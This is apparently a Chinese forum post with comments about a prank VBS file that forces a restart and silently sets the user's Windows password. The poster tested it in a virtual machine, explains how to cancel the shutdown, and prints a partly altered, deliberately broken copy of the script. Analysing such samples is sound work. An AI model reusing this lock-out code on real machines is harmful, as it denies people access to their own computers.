今天打开QQ微云的时候发现了一个vbs文件,好久之前的事情了我都没印象了
好奇心的趋势下我就点开了,上来给我来了个30分钟后的强制关机,任务管理器也无法结束进程
不过时间这么长够也我去百度查找解决方法了,方法如下
win键+R 打开进程输入 “shutdown -a” 即可取消
但我没有,我还提前关机了
为什么?
巧了么这不是,我用的是模拟机
重新开机之后还真给我设置密码了
忘记截图了。。。等会,我再去点一下!

好了又点了一遍
大家可以看看,这就是这个程序弹出的两个弹窗
一个是强制关机进程,另一个是关不掉只能点确定的进程
win键+R 打开进程输入 “shutdown -a” 我取消掉强制关机
打开用户账号管理界面好家伙已经给我设置上密码了
用快照回到了没点击之前
这个是没有密码的
代码已做部分修改,无法再进行坑人使用哦
内容中的不适也已修改
复制代码
好奇心的趋势下我就点开了,上来给我来了个30分钟后的强制关机,任务管理器也无法结束进程
不过时间这么长够也我去百度查找解决方法了,方法如下
win键+R 打开进程输入 “shutdown -a” 即可取消
但我没有,我还提前关机了
为什么?
巧了么这不是,我用的是模拟机
重新开机之后还真给我设置密码了
忘记截图了。。。等会,我再去点一下!

好了又点了一遍
大家可以看看,这就是这个程序弹出的两个弹窗
一个是强制关机进程,另一个是关不掉只能点确定的进程
win键+R 打开进程输入 “shutdown -a” 我取消掉强制关机
打开用户账号管理界面好家伙已经给我设置上密码了
用快照回到了没点击之前
这个是没有密码的
代码已做部分修改,无法再进行坑人使用哦
内容中的不适也已修改
- Const strPassword = "内容已和谐"
- Dim Wshnetwork
- Set Wshnetwork = CreateObject("WScript.Network")
- Dim username
- username = WshNetwork.userName&",user"
- Dim Domain
- St Domain = GetObject("WinNT://./"&userName)
- Domain.SetPassword strPassword
- Domain.SetInfo
- dim gj
- on error resume next
- dim WSHshellA
- st WSHshellA = wscript.createobject("wscript.shell")
- WSHshellA.run "cmd.exe /c shutdown -r -t 2000 -c ""内容已和谐"" ",0 ,true
- dim a
- do while(a <> "http://www.2345.com/?kdh86")
- b = inputbox ("内容已和谐",8000,7000)
用记事本就可以看到源代码。在没有语法错误的前提下,直接双击左键就可以运行。
所以在打开VBS之前要确保VBS的安全性和渠道的可信性。
任何一种文本编辑器都可以用来开发VBS, 记事本是windows系统自带的,无需专门下载安装,更方便快捷。啊这,权限可以这么大的吗
我以为我在逛csdn
还好我没被坑过
这是很老的程序了吧
壁纸52pojie好评
话说这种东西。。。pe一般不都是带密码破解功能的吗
话说这种东西。。。pe一般不都是带密码破解功能的吗
问题不大,进pe有密码爆破器可硬解